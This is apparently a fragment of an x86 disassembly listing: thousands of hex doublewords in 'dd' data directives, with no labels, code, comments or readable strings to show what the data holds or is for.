dd 929C1AD7h, 0D858DE93h, 0E31218h, 0F792280Dh, 0DB837D7h
dd 0F11A01A6h, 0D4ACC973h, 3C407B1Dh, 0C866A913h, 9489BEA0h
dd 3ADF3CEBh, 6A603395h, 88CBD80Ah, 28D1189Eh, 4E132C6h
dd 2A29CABFh, 0E77B27AEh, 28F3688Bh, 445EDF81h, 0D56334F3h
dd 95C3EF49h, 37B60D72h, 3693AA6Ah, 0FAA4DCA8h, 8C88CBDFh
dd 0C8DBB823h, 386880Bh, 653CA327h, 89092239h, 0E0856E9Ah
dd 18D17866h, 0AE43BCC3h, 0A2ED5E83h, 0BAE4CC1Ah, 79BFA244h
dd 0ED20EFA5h, 7B0EC696h, 0ED09B4BFh, 8BF58953h, 8DF6095Dh
dd 5E4C0D2Dh, 49337BA9h, 92774619h, 8676534Ah, 207D3087h
dd 82A9212Eh, 0A15A66F8h, 0A102BE48h, 704F8381h, 3C66DF00h
dd 3B9886Eh, 8296EC00h, 0A58C192Fh, 0C530FBAh, 0B6667CC2h
dd 0EE793389h, 98D8006h, 0BA2ACDECh, 4FE693A6h, 0E13CFF26h
dd 0CBA503AAh, 6632D40Dh, 6C8D939Dh, 0CCA8B8CAh, 0EC5E7383h
dd 0E18EAD1h, 511516C4h, 66C61CEh, 0C47DF6B7h, 714CC47Eh
dd 1C388181h, 0A6A5D247h, 0FD16A615h, 0A8404867h, 35324D6Bh
dd 0A5017768h, 58575B99h, 8427EB64h, 89225CEFh, 51876B8h
dd 3A77DE8Eh, 0E2F858A7h, 239B3C70h, 5672DEF1h, 0E1327231h
dd 620E38FDh, 5378EEFBh, 0A2933938h, 88405A7Fh, 4C0F0F4Dh
dd 0EF67F93Ch, 0AD3FD15Ah, 0B629463Ch, 91A57806h, 3031A47Dh
dd 2C01B2E8h, 0F6A28AF7h, 6D2B250Bh, 124EA3D9h, 38D3F942h
dd 0A36D164Ch, 66884BFDh, 62E98CA9h, 7D476992h, 5A00E836h
dd 24C23C60h, 61B7954Dh, 8AD147B7h, 0FD37F28Fh, 0BB14469Bh
dd 6ED2B918h, 3CF0DF5Eh, 9741ECFCh, 390BDB97h, 0A3424449h
dd 613977BDh, 1AF71216h, 0FF51E8F7h, 5E61DD66h, 79763F4Fh
dd 30E85788h, 0A8B27EBCh, 0FC17EDD3h, 0AF48C2Dh, 46BCC33Fh
dd 9C7F4EAEh, 66A2C0ADh, 2882C92Dh, 0F4D0181Bh, 6E088E9Dh
dd 12FE6802h, 786BD2BEh, 0BB3025A3h, 0D7107C8Ah, 0E37E2232h
dd 0F55E63F3h, 9E17993h, 0E484BEAh, 0C3C48402h, 49FC0E78h
dd 0E3442610h, 618B95B8h, 0B43AB1A2h, 0F33C9C3h, 2B2B137Eh
dd 26A43F8Eh, 4E2FB28Dh, 3C7E200Eh, 5C515D69h, 2AE61EABh
dd 0FD12C599h, 42840C43h, 80C6C9E1h, 8BBE5D1Bh, 0C9E5B7A4h
dd 0BEBF16F6h, 0E056243Eh, 0F1C4E1A1h, 7146CDD5h, 0DC8C9A41h
dd 0C77EDCA2h, 5CC04D92h, 795ADC75h, 0C92F5FE3h, 986D5306h
dd 2ACA8408h, 0F6A9BEB7h, 94D978FCh, 6D448DC8h, 4546905Ch
dd 2FBBDD81h, 4615040h, 685287CFh, 5010F5B6h, 0DF39A3D0h
dd 0DA06A797h, 80E72389h, 73E0C08Ch, 0E26940D7h, 3F0B38Dh
dd 1DEE7B06h, 88FB3F08h, 0A8392C42h, 4DD1D58Ch, 72FC0AC3h
dd 51C2F974h, 5210F044h, 0FC5C0074h, 2328799Bh, 1C80A7E2h
dd 66B26EC9h, 1E4DFF62h, 1B3A9DE5h, 73D36FBDh, 711A9D9Ah
dd 0CD947E58h, 997BB887h, 4C2E062Ch, 0C7EC9D56h, 0E77432AAh
dd 7536BE17h, 740FBBBEh, 4CE82F81h, 1AA11197h, 0B9C59F66h
dd 32FB5B70h, 9BAB8D15h, 0E4B1F785h, 0C20917CFh, 0E6C2FF40h
dd 0BED8D9FFh, 2C760D89h, 0E471E409h, 35E7B77Eh, 9CF6DDA0h
dd 0FA8DFAD1h, 7B3949CBh, 782482ADh, 80BB505Ch, 0A9C7A940h
dd 1FA964EDh, 19361C9Ch, 0C801F63Eh, 3D0845Eh, 0CE9200E9h
dd 0DD2FB9B4h, 3DB1DCBAh, 0FC3F0614h, 466AEEBBh, 0F088F42Ch
dd 0E296ADF2h, 9DF63AE4h, 2373E732h, 6627102Eh, 65209A81h
dd 59CD514Bh, 0C33F273h, 4E007491h, 0C63163B0h, 7882C787h
dd 36DACC53h, 61F5603Eh, 71C0FF09h, 830B8BFBh, 0AF9DC07h
dd 3FFCF1F7h, 733E2136h, 0CFF4EC27h, 24CF7E5Fh, 0A1439D09h
dd 9E80E2E9h, 0F4FDDA7Dh, 0CB99228Eh, 79CAAC09h, 11E69F7Bh
dd 0FDB943Ah, 7CDA685Bh, 1E9245Ah, 0ED187D1Dh, 8F95DCD3h
dd 0FD15A048h, 472F6F2Fh, 0AAC492B1h, 585542F1h, 8CEB3B0h
dd 0C5F482F1h, 243F50AEh, 2BE9656Bh, 0BC8A2641h, 59B29538h
dd 12E8B967h, 7D2C7CDh, 0C6671276h, 10994144h, 0BE80FFB9h
dd 0D6340091h, 0E9C92637h, 0FA16A218h, 0C3A49BA9h, 663117EFh
dd 470AA65Fh, 5E063A88h, 0A1C12F04h, 2A47E1EAh, 1022E145h
dd 0E5FAD5E6h, 811A358h, 0CC6DA20Bh, 26AF1BF2h, 15F4A509h
dd 18FADCA4h, 75C5C00Eh, 0AA50EEC0h, 343F3C20h, 758FDEBBh
dd 9FE9C94Bh, 0C647F5DBh, 0C48A8C5Dh, 20ABA2D0h, 62BAEA7h
dd 335A0286h, 0B9787398h, 0BBED528h, 65EBD6FEh, 9174AC41h
dd 0D4A2DCDBh, 565F2BEh, 7632C018h, 0B9953D1Eh, 60131E08h
dd 3DD52CC2h, 2031358Eh, 0D3F47CB4h, 24B2B475h, 0AB165684h
dd 3EE4E209h, 0DAA57A69h, 1CC04590h, 196E1594h, 985BF124h
dd 8B1DEE55h, 86105362h, 0D0F680B7h, 0ED7DBD6Eh, 79478ACCh
dd 9D3A5A0Bh, 6DE183C1h, 0A4731A56h, 0D5C17132h, 0FAEC84FFh
dd 0A5B8BCA9h, 3F26E8E6h, 9B68B190h, 6B5A0584h, 28B5F238h
dd 23FE75EDh, 0C4D41F76h, 268DFC92h, 0C5C91697h, 24B41C09h
dd 0DA78A18Dh, 75C360C0h, 8FB309D6h, 591085D9h, 0FEB9C801h
dd 8DF86B8Ch, 2D024h, 0FF9A4DFAh, 0B8F5038h, 0A1859CEEh
dd 18C93794h, 0EA1E99A1h, 0E095EA8h, 32324CD5h, 2D5ECF7Ch
dd 0A7EE8361h, 0D7BF85C1h, 946634E2h, 62FE1501h, 42C60E93h
dd 8EA5640Fh, 0AE5497ADh, 0BB335171h, 5CFCC15Ch, 0F1C5F38Ch
dd 4D2D0E8Eh, 0DD0EAF88h, 0B377A1E7h, 6F709431h, 6046D408h
dd 7F2AB4A4h, 613B320h, 0C89D62E2h, 7F64AE1Eh, 0F1F5E1C9h
dd 0C02E1527h, 8810AC60h, 39266010h, 5717A74Fh, 14F5B3DDh
dd 43BF35D7h, 36DC0B53h, 0BE1E7101h, 0E52E9E20h, 0B4C1B3BDh
dd 0CBA4E8B9h, 4E1960C5h, 0D7D7A6C7h, 60BBBC72h, 0D5CE3D3Dh
dd 722F3BB3h, 0A440BFA5h, 2E5B4D42h, 0E2E5F97h, 65A3B994h
dd 4148EB33h, 5F748DD3h, 0B4CD79C7h, 4BBA10EAh, 16DD50F4h
dd 0CCCC6A38h, 2435AB80h, 0B28CD485h, 6DDDB77Eh, 0CF3B94DBh
dd 216B09EAh, 3A15AFECh, 79D1493h, 706E70DAh, 5965CB76h
dd 802CD581h, 0CE0C8A2Ah, 0B55585A5h, 7A1608E9h, 63B1332Ah
dd 0A3ED0EE6h, 85A6A111h
dd 0B024445Ch, 0E2172CF5h, 0A1611EB4h, 9F8D56CBh, 44A60C24h
dd 9C591508h, 0BAA159B1h, 95EDFDC1h, 1720885Eh, 0F5547BE4h
dd 70E9400h, 119286F0h, 4AE6E56Dh, 54A00ACDh, 0CEEA81D7h
dd 33DF8C94h, 695806DFh, 0A672E30Ah, 8E6C2BE9h, 8DD4A851h
dd 1F7BE41Eh, 1B0C0B49h, 0DC54058Ah, 2DEF9771h, 0D6C99B5Ch
dd 69D87BEEh, 0F8E41671h, 4371B808h, 0B2AC0E1Bh, 1ED003FFh
dd 0E9CBBEBBh, 0A4DDB2AAh, 0D391E694h, 7CE4B8B4h, 811B45E8h
dd 663B0ACBh, 8F0A5AE2h, 0E32C93BFh, 1A1DB3B0h, 0AAE1EB96h
dd 73D7BF6Ah, 6EF63B50h, 0ED5B97h, 41FCE994h, 70950Dh
dd 0B8A3F847h, 41F8F527h, 1850B6EDh, 0C2E4B54Ch, 0B5BB7702h
dd 0FE256A7Eh, 44D579Ch, 0B01168A0h, 0DBE454D6h, 161CFDD8h
dd 0C06344h, 6C18C403h, 642C1487h, 21D23669h, 1AA05D42h
dd 98351ADEh, 273E92EEh, 8F94F9A6h, 0E6ECD7B2h, 0B4D9ACD6h
dd 0DA5BC2D7h, 9DC95600h, 0E0838621h, 0A48D9CF4h, 0BE211E9Bh
dd 881FAF8h, 85F9F693h, 35448A5Dh, 2B4F4E7Dh, 779F4E5Eh
dd 2583708Fh, 467923DDh, 0EC393927h, 0B0F6C1BDh, 6CE28CD7h
dd 48B8DEDDh, 0ACE85383h, 7C8E091Ah, 124F2BF2h, 4EB8874Fh
dd 0E7CC9DEEh, 512FC5A7h, 2C125430h, 0DE216430h, 465C20E3h
dd 0F21293C6h, 0CF62ABE6h, 0AE77CE2Dh, 177E7336h, 20D6402Ch
dd 3CE58896h, 8E3FE6FAh, 8954FC32h, 7AE83D23h, 825B4E0Dh
dd 2E538A9Eh, 87563A06h, 84ACCA6Ah, 0A6E66A1Eh, 0ACE7A1C5h
dd 0EAFBC531h, 9ACE6B69h, 65802295h, 742C973Bh, 7A813E82h
dd 98259A28h, 0B947B5D1h, 289BFC77h, 34CB9A5Dh, 2817ED0Fh
dd 37F02E2Dh, 0D5F233AAh, 2C93B462h, 22F33EC8h, 0BF2C981Dh
dd 417D734Dh, 0B5DF50FBh, 0B1ADA85Dh, 0E819FCB3h, 0B2841D30h
dd 7E5C2A5Ch, 0B3868710h, 0AC50AEAh, 0B2FBACEAh, 0E72A2E14h
dd 690808B3h, 0AC6DC60Ah, 80C2D1CCh, 9CA51E93h, 0AB63E2h
dd 1D80CE3Eh, 51B09B22h, 644DABF1h, 939EACDCh, 0C6F78CFFh
dd 449EB30Bh, 0ADD61A3Ah, 8980258Ch, 6863FBEFh, 5B825FB4h
dd 4805777h, 36CC7A2h, 5EBF358Dh, 0D04AEC48h, 0DE2F1783h
dd 0A8D82A17h, 7E562A1Ch, 8A98FAC4h, 0B0161EE7h, 168C9BBh
dd 4BA43352h, 0A4322E7Dh, 4F927B11h, 7E3E000h, 0CF898998h
dd 5AADEC32h, 77816D40h, 0C3E2AD62h, 0C2DA8E0Dh, 0F2E477DEh
dd 0E617BD74h, 522E1A1Ch, 4EB6E3E0h, 0B4FB5577h, 0A605EA97h
dd 3826AFECh, 8BBB5092h, 8F2656EEh, 0E8C22A6Dh, 0FE866243h
dd 8337B999h, 24011D63h, 0D85616Fh, 57C8928Bh, 0D76C54D3h
dd 0CDE5ACD3h, 0BC9F9C23h, 23F766E8h, 0C8EA0151h, 0FFD2B6DDh
dd 0D3107B9Ch, 4612A419h, 0CDA92848h, 0F3A02C4Bh, 96605D16h
dd 0A37AA85Ah, 8E66025Dh, 0CAF59006h, 0BC9AE6DDh, 0F2DA09BDh
dd 6E99066Eh, 0E50E63FCh, 665570EBh, 1866AA91h, 0D28AD4E7h
dd 0A6489931h, 0A54BA071h, 0BB90CDBAh, 3633260Ch, 0C4007464h
dd 0ADE64792h, 2EF1FDDBh, 981D7239h, 0E05B43ABh, 29BB25F1h
dd 0D273324Fh, 5E6EC179h, 0C4C57824h, 4FD47DACh, 0A0060C1Ah
dd 0A6CC231Dh, 0DD78746h, 0FF21D8A4h, 6386A319h, 243AAF4Ch
dd 0AECF495Bh, 6BA3DAFDh, 12C756A1h, 4B7DA1F8h, 0E6AAEA20h
dd 946B14EBh, 26B3D453h, 607D65D6h, 96004146h, 99D77ECBh
dd 0A74B5C54h, 33396278h, 763F11BEh, 52BC51h, 7D6559E0h
dd 6B9595E9h, 0FCAFDE24h, 0C597C665h, 4F30F777h, 0B030DD6Dh
dd 0D7D0E6CEh, 0B3138112h, 0AFADFDC1h, 0B41EE8C1h, 6A89D794h
dd 0F0D9867Fh, 0EA3B11CFh, 3F848CCDh, 6D63089Dh, 6FD675B8h
dd 96AFC2BCh, 5E961322h, 0FBC59134h, 92FC7060h, 0A176A416h
dd 0F1DEF5EDh, 7577B56Bh, 0D9502AD5h, 0DE570A52h, 5B29795Ah
dd 0E9026E8Eh, 0CA554E90h, 0EB9B6987h, 6D082038h, 94A0307Bh
dd 3A901C03h, 0CEF5D741h, 2E3F06ECh, 2D5FD85Bh, 67958EF9h
dd 85FE3B6Ah, 78C77B4Fh, 65DFF53h, 7F257377h, 8511F28Ah
dd 3F2CEB36h, 0A0796B7Bh, 0D90305D7h, 461F2E55h, 0A1A5C0h
dd 71DF8659h, 399641A3h, 6E1B7C17h, 0EF482369h, 1B293E2Fh
dd 2327D2E0h, 38B80BA9h, 0D4A2F872h, 0DD5EF174h, 9DCD11E4h
dd 0FF29DBD5h, 3A7A08DAh, 0CC639A04h, 52966019h, 2D74D871h
dd 4B7395AEh, 0FA33334Bh, 0D206899h, 425DA0A5h, 81DF7B9Bh
dd 344FA706h, 0FF6B3043h, 0BA52CE58h, 4632CC10h, 2BDEBEF6h
dd 2D03C393h, 0FE3CCE2Ah, 60E15E11h, 74EEE6F6h, 9D1DAEB2h
dd 2364930h, 0BB3DFA5Bh, 0E37B1D48h, 2EDA7581h, 0F629C830h
dd 0EA2C1164h, 9560A696h, 83FF4EC0h, 83618A36h, 93504D46h
dd 7BB04DFFh, 7AEBC1FFh, 6576EA0Dh, 452547A5h, 55D1C4Dh
dd 0B8455110h, 69BA9E78h, 504BA5E3h, 189251E1h, 0C48523F4h
dd 0A3DE69D5h, 2EE02D6Ah, 0D2DB7C49h, 10A032A6h, 0EBF2FC6Ch
dd 16850FC9h, 6565E350h, 7F3E8A7Dh, 6ECCCFC9h, 1D3F9DEh
dd 0BAB217B2h, 97950D2Fh, 4E3F24D9h, 0DDAE7E86h, 0F327419Bh
dd 7A2FFD24h, 1B2D547Ah, 3BE0DCF7h, 0CCE9B54Bh, 0A3BD0112h
dd 4287EB06h, 0C8F5FE9Dh, 0D65E0502h, 2D97E230h, 0D3883F46h
dd 0CB1DF7F0h, 746F7181h, 0A49C2400h, 0FBC03D20h, 4F45DF47h
dd 97C319F4h, 66D46890h, 7D2B7592h, 8CB521D9h, 0F8B72A56h
dd 3FC0854Ah, 1F42AC1Bh, 4736C1EDh, 37AD9472h, 749ACB10h
dd 0A9DAA5C1h, 3D25B58Fh, 0F560EF0Dh, 0EF114F0Fh, 0E101E2B5h
dd 0D267FA36h, 4F65F614h, 615EA49Bh, 0D628595Dh, 0B0FF9368h
dd 9D772690h, 1FF70EC3h, 4165AA37h, 0B3527D46h, 0A3335FFh
dd 72AC45FFh, 7A56A80Dh, 473564A5h, 0F8D474Dh, 0C0283D14h
dd 30F40D04h, 88F94F46h, 4116335Ch, 92A195A7h, 0D9D89BEEh
dd 11987F38h, 0A8900031h, 0FC75496Ah, 35FDEA30h, 26CDA994h
dd 4E16E679h, 8BDE1775h, 0C3E22A08h, 61A6260Ah, 0D399463Ah
dd 0B9928D03h, 0B5A0D223h, 0D54450BBh, 8DD0BE10h, 42FF332Eh
dd 0D3DD4399h, 0B025CB5Bh, 85D2C5BDh, 1BFF33EBh, 0FE21F4D2h
dd 180431C5h, 0B1CF7488h, 59D3610Ah, 5912A57Dh, 76D4B979h
dd 0EFE49E78h, 5C5D1E83h, 0AB7D5F15h, 44BC4598h, 0E9529B4Eh
dd 0D733D7F5h, 0F5AC2D1Ch, 6B5BE0E7h, 7CB90B09h, 55277FCh
dd 3D15E4Dh, 74C94E0h, 0C35D81FEh, 2526F75Bh, 9160FDB2h
dd 0C8E548ABh, 5EE4C994h, 92664407h, 0E19B9494h, 141DFADFh
dd 4E1E7C31h, 0CE3DCBCDh, 4152D33Eh, 6C9FE8D6h, 67FD20E3h
dd 3395BCC1h, 0B4650033h, 0ECFE7AEEh, 5B8FCD57h, 8A53B71Ch
dd 2208F78h, 8EC2F5ACh, 69AA2DA6h, 0C0A5213Ch, 1D696CBBh
dd 93994D66h, 70E6AC0Bh, 0D5FE7275h, 0D9DF2862h, 16736FFEh
dd 0C06C848Fh, 0ABDD6279h, 94EBC650h, 0EAF1BE7Ah, 0EA668427h
dd 0F9211682h, 0A133C04Bh, 0AB8A0450h, 0A65A8CACh, 0B841AD9Fh
dd 1C478FC8h, 8032CB33h, 659EE905h, 0FB0ADBFEh, 136C99E1h
dd 76A1330Ch, 49416AF8h, 1805B80Fh, 33A70DA8h, 47EE7190h
dd 654FF6BCh, 0C02A8CE9h, 0FB96C07h, 362FFFE3h, 24036478h
dd 56B840B8h, 0BB733A57h, 0C44678Ch, 7AB643E8h, 39C3F931h
dd 8A70FB10h, 6BB7850Eh, 0FCB90653h, 4061CE0Fh, 0A884A382h
dd 0F02289ECh, 0DA56D0Eh, 2D8D7D15h, 6BDF7C1Eh, 0F7221809h
dd 15962E84h, 0B936C292h, 139D19FBh, 0E6E205DAh, 316AF9C1h
dd 0F1A2D7DCh, 0D5EB63BCh, 9C0D0524h, 0AD0441E9h, 0C7E4793Ch
dd 0E6F28FD8h, 0A101D746h
dd 736BBAA8h, 772C89ABh, 47739099h, 0B8D5EB2Fh, 115CDB51h
dd 0CC84A790h, 0E1D37F74h, 604F69F9h, 0CEEEC3C4h, 9C011D9Ch
dd 0D9D16126h, 2127A5DCh, 2D976C6Ch, 642AE48Ch, 856B830Dh
dd 2B1E4213h, 629AFE22h, 0D87F472Fh, 0DB8C2887h, 44D30B43h
dd 400C6583h, 0CD1F7A37h, 4361652Fh, 3DB12E44h, 0BA450D19h
dd 6B22BE8Eh, 247EC99Ch, 0D151FBE1h, 5E34FEC1h, 0E70CFA50h
dd 0F73474A7h, 1AF7DD5Bh, 3F459167h, 0A659C92Eh, 0DCA6FA92h
dd 0DB2F7F85h, 0DB1B2D78h, 26ED9F8Fh, 4361B4CBh, 0BB487FF3h
dd 3DB23902h, 8E3CA1FCh, 6A837D21h, 7C586541h, 43C39EE3h
dd 830F3DCh, 2AA92660h, 901EE01Dh, 0A5D74D7Ah, 6865D1C5h
dd 0F4488282h, 1F14860h, 901D1BA1h, 4FBA2807h, 58B609FFh
dd 1FFDFA9Dh, 0A15809A2h, 0B0559A89h, 86A7FFACh, 48871093h
dd 17F04191h, 0D3154D99h, 0E09F77A0h, 0F8298DB9h, 0F213E254h
dd 9C130010h, 9616D598h, 9D68BEB2h, 0D60AC59h, 60A8C540h
dd 89DD7E38h, 90725CEEh, 0E4AE46ABh, 0FD96327Eh, 0CE79E622h
dd 2EE4A326h, 427C1E3Ch, 9BD4B577h, 56EB9D0Fh, 0D00E43CCh
dd 0C5CAFA61h, 3422BEE3h, 6D744027h, 0B82CFB6Fh, 0AB5A60D2h
dd 0FBA6C60Fh, 0ADACC22Ch, 34EED10Ch, 7CCC7A92h, 2BC0FBF3h
dd 7C78F9EEh, 0CE8B16F3h, 99DCAA42h, 6C56055Dh, 8DAC9893h
dd 0CF73BEE3h, 0CF59551Dh, 0FE96523Bh, 69018D0Bh, 0A832ED75h
dd 4DE1420Ch, 0DA8DC886h, 0C121BCA5h, 0E9CF1F38h, 5E55F04Bh
dd 0DCD69ECh, 7D8341E9h, 835B05E7h, 69E724A5h, 30A982AFh
dd 75463493h, 40358BB0h, 48146985h, 468D3DE9h, 97DF7C91h
dd 0DDD6D73h, 7B61A7A4h, 9FA64E5Ch, 8D2547ACh, 0AED158C2h
dd 0DEC5BD58h, 8FDA9C08h, 1D9AFF43h, 986FEF6Ch, 0F51C909Bh
dd 0BFE9812Ch, 889FF5D8h, 8729AAB9h, 0C0DA2557h, 0F4A37AB3h
dd 7623174Dh, 0CD66D7A6h, 0FE1A7CB1h, 76517C6Fh, 93080C2h
dd 6F8A9F6Fh, 19013307h, 15E90A66h, 8981D6F6h, 88E4999Bh
dd 57CA9E82h, 7E22B38Fh, 754E70Ch, 5BE654C2h, 0B19AF7A8h
dd 0C78E12B2h, 6C6088E2h, 0C4D3911Fh, 8DB0F44Ah, 2B32E3F8h
dd 0CD24D225h, 91A22274h, 0D9A0BB12h, 0D32AD47Fh, 1C8AE543h
dd 4EB929E4h, 0ADF3B942h, 0F359F645h, 2225DE47h, 23C21966h
dd 0C6D97177h, 2429A983h, 0D33A4146h, 0CED8C590h, 0D4F86D97h
dd 537DC2BAh, 7F604B8Bh, 385677E4h, 8A4C7446h, 9DB929F9h
dd 72C758D6h, 965745F0h, 93462B14h, 7085CB2Ch, 68B93A93h
dd 5035A60Ch, 5F9C4592h, 308D7496h, 0B208365h, 0F4C50C5Bh
dd 0E4E24F57h, 1A42BF13h, 149EC9D7h, 420641B7h, 0A0050971h
dd 246D258Ch, 5836EB46h, 0EC6C10F9h, 7257B5F5h, 0D794D929h
dd 381C7FC8h, 5138F1B5h, 98E8C2A9h, 0A550FF8h, 0C796D7A2h
dd 6286DA98h, 189F07Ch, 20B0DA00h, 1EE97FB9h, 90F1B8C3h
dd 0F03EACA4h, 3AEFA2F3h, 26954ADFh, 213E0939h, 0D76CA496h
dd 54DF3155h, 5226661Ch, 8C1E4D3Eh, 0A670780h, 3CFBE3E6h
dd 9D8C2B49h, 0AF2DF80Ah, 0B07F62CAh, 0CB0AF3DEh, 4EFADEF1h
dd 7D54D1B2h, 0CCB8BAF3h, 0FBD8AA66h, 74A9437Dh, 21A523F5h
dd 79C9A664h, 0F78B85F7h, 8135D4A9h, 15F94543h, 16949667h
dd 5AF9D571h, 2FB463A7h, 0F9B19D95h, 0D46F0679h, 536FBA2Ah
dd 975E4B4Bh, 775F7786h, 46742CA7h, 4203251Dh, 0D11C41E9h
dd 0A7E34EA0h, 272268BBh, 16574BBEh, 20AAC67Bh, 0F3BBD41Ch
dd 0A65C80FFh, 9DECF660h, 43774399h, 0A44BBBE7h, 4AE8674Dh
dd 12E51B61h, 51BE3EB7h, 0AAB1E0ABh, 765C5AD5h, 0E623860h
dd 0EB3C4A36h, 0DFFEEC50h, 0FA0D919Dh, 77FD614Ch, 399F5FDDh
dd 553DB4B9h, 9DC123A8h, 0F6586610h, 60F723D4h, 0E26936A5h
dd 88806ED4h, 9C1CD9D5h, 9276833Fh, 9009AB82h, 1798D384h
dd 0C5FF6F83h, 0AB6E0DFEh, 70E7405Fh, 0B87C6CF0h, 0A755C748h
dd 8AF30BADh, 0F40877D3h, 0F21659B7h, 0C6E70F76h, 0E34CBF78h
dd 155AFA2Fh, 18C977DBh, 245A033Ch, 0D8EBD429h, 6C81AD0Ch
dd 3AA27AA1h, 7EA94E31h, 0EDBF5796h, 0FEB2D3ADh, 0E4413C7Bh
dd 1B5EA647h, 5323CD47h, 8684C1F1h, 31F1F276h, 52599406h
dd 0DD8EF091h, 0C8BD7385h, 0A9279188h, 93568F6Fh, 5BDC3D1Dh
dd 32AC32D3h, 8C38945Eh, 0B0426ED8h, 621355A8h, 0AA5A7CF6h
dd 873DAE74h, 451A7527h, 0C0B9C96Fh, 2FB57C1Ch, 50295EFFh
dd 9420A369h, 0E3219D63h, 0A795C9Bh, 82D8A7F4h, 0DB6D7FC0h
dd 94CB9273h, 7ED205F0h, 2A047EACh, 0A41189EEh, 1832E715h
dd 5B0700B8h, 0E3ED9254h, 78E4F48Ch, 0E4DAB4D1h, 34A9A732h
dd 0F63AD2A8h, 12C3ED1Fh, 5915E3BDh, 74E34158h, 0EE3468D2h
dd 3D28AE2Dh, 10056A4Fh, 80C74CA6h, 5D4B4AE3h, 59C6A9E2h
dd 1F4E6632h, 175D935h, 0AB61F4EAh, 91AA09B1h, 61151EFCh
dd 86852386h, 0A9AC001h, 53D113CFh, 677CBDE7h, 0D8D5326Ch
dd 0FCD1607Eh, 0CCDF78A0h, 0C4389497h, 28D8DD9Eh, 0CE1D804Fh
dd 3EB589C1h, 29847B7Eh, 0EEB3D342h, 0C936BA5Ah, 2656BF11h
dd 52D4B81Ch, 0C527451h, 59B48662h, 3B79DD06h, 0D0AA322h
dd 9A715C00h, 0A6FF1976h, 0E95A8A7Ah, 0A379C8DCh, 5898FC8Eh
dd 3B0BA080h, 0DF638184h, 60A746B5h, 95CA773h, 4648C3E4h
dd 27113345h, 6B627919h, 0E01E7E18h, 1D0B127Ah, 0EF647D15h
dd 63AD456Dh, 7CF4B898h, 0FD61C3B8h, 6628B906h, 8DFC9A42h
dd 0CE103BDCh, 1C210445h, 619EF9F2h, 150B270Eh, 0AC0BE761h
dd 66AB82FBh, 0B604F171h, 0CA0810C3h, 0CA3C625Dh, 34684AFEh
dd 0B1A3EA88h, 0A671D941h, 6C351BCBh, 8B0CA95Bh, 88996118h
dd 0F34C8F41h, 17C1617Dh, 5F6C3E4h, 0D943FEB7h, 2B897FD6h
dd 3669F6B0h, 0AD248F6Fh, 0FF914CFBh, 3A85561Eh, 643840C3h
dd 9142E6AAh, 8592296h, 94DB87F1h, 0DB2C4F04h, 0FBE2EC4Eh
dd 0D95EB8ACh, 0CCA4F018h, 114025A5h, 4E132853h, 80D6FF7Ch
dd 0BBF752FBh, 0C94479A5h, 3165BE57h, 23AEAA1Eh, 15AF34DBh
dd 0C40208D4h, 0C12081A4h, 52F32B1h, 0A1AF98Fh, 2E48C091h
dd 1E640985h, 0D72DD30Bh, 6CE8B48Bh, 285D8F1Ah, 31038BDDh
dd 3081D18Ah, 66A766B1h, 7434D073h, 0D7D4CBF2h, 77583541h
dd 0A83801Bh, 1C698E59h, 40C89EFFh, 0EB639D79h, 65AF592Dh
dd 7DF3B0B8h, 0FDE04FC8h, 1599B90Ch, 0EB42DE83h, 26B7204h
dd 0D4A29D56h, 0DDDF840Fh, 43D656D0h, 0B083EEA4h, 92FA4C31h
dd 7351BA1Dh, 0F434FA7Bh, 0D14382FFh, 0C4FBF740h, 4093828Dh
dd 0FC5D97BEh, 0C0641B6h, 86386FD2h, 1EECCC54h, 0CAF4F4B8h
dd 7C1806EFh, 0B3C8BFA1h, 31D729D2h, 53466543h, 0D512F7DEh
dd 0EB41DEE6h, 0DCA36FFBh, 0D2057A36h, 0B2016160h, 0EF9738B5h
dd 0DCD6B3AAh, 0F3C340E8h, 0DE1E5F43h, 0BE5B88A4h, 35A4F840h
dd 1A849F64h, 92DA2553h, 32AC83C9h, 884ECE25h, 13E0A8C6h
dd 1EB13D0Bh, 0FCB0DF2Bh, 27AF7AD2h, 52CB83Eh, 8C8E7645h
dd 7CED02B5h, 9C9D1E7Fh, 0C1361405h, 5624EA84h, 0E5976E94h
dd 0F5310F0Bh, 459AC64Bh, 5DCFFD11h, 8C99B92Bh, 0E7C0E9DBh
dd 0D0FD0D00h, 0FCACC019h, 511B3FA3h, 0A003907Ch, 0ECEF9961h
dd 0F2B306E6h, 233C857Ah, 0F46CA3E0h, 0D22BC847h, 0B9B962E9h
dd 642D70DFh, 9A2C57FBh, 8C3FACBBh, 0CB3126E6h, 21EA1C86h
dd 0F0F98EE9h, 0BD1C0A38h, 0CAAEF358h, 924E1B6Bh, 0E0804C2h
dd 2E9E6BFh, 36B7E1FFh
dd 0E5087C86h, 7759E609h, 0CD7B1417h, 0B8D5DD67h, 50DBA85Bh
dd 9666B167h, 6D2A79F3h, 0D3380D59h, 0D715F07h, 0C3555E2Bh
dd 76AE060Eh, 3FF9E3CAh, 0D52CAF74h, 9BB01107h, 8333B6CCh
dd 86EFAAA0h, 0E2A7CE4Ah, 9830890Fh, 1D08E67Eh, 0A8941191h
dd 3B9FC533h, 0C2A65EF9h, 26341A29h, 0FFF11894h, 63904F62h
dd 6F72D1C6h, 22B3DF0Fh, 2F7AA24Eh, 7C3BFA6Ah, 2C69C34Eh
dd 0A35DAD06h, 0E6B38C76h, 2BA91126h, 3BDA0C98h, 3F8C7998h
dd 43B6FA71h, 0ADD9D38Ch, 0C21603h, 9FFDC66Dh, 0D1A52555h
dd 8BF0620Dh, 95B60629h, 900DB309h, 897C6229h, 0F50B3B93h
dd 0EB362314h, 0C91AF55Eh, 3B413882h, 0F340A8E0h, 3844155Dh
dd 0B9224D24h, 0B8B10C7Fh, 0F670FF0h, 986F28EEh, 0D9A1CA8Eh
dd 0B2074AF1h, 3159CD73h, 3B260F25h, 0FA025793h, 19A47A12h
dd 6F7F0264h, 0FC59B661h, 0C434AED5h, 0A2682C1Ah, 0E1F4EFA5h
dd 107116FAh, 0D34CA4Eh, 0AF5AC1EAh, 3D7EB708h, 0A2297252h
dd 0A4FF5482h, 0AAE5A05Ch, 32C30ED7h, 90F3D26h, 7A1FBBBFh
dd 84D18CC4h, 7DA398F8h, 83475C04h, 3A9EAA08h, 532604ECh
dd 0AE24E796h, 0B3AA8207h, 0CB46F7AFh, 36D72EF0h, 0B79F281Dh
dd 571C8979h, 4F191E2Ah, 1281877Dh, 93A8163Ah, 53FDD827h
dd 35382597h, 0AFADC2D7h, 38C88C93h, 475DADBAh, 0D2838531h
dd 0ED6041E0h, 0CF28BDBEh, 1BE26DABh, 9428713h, 0C29B43AAh
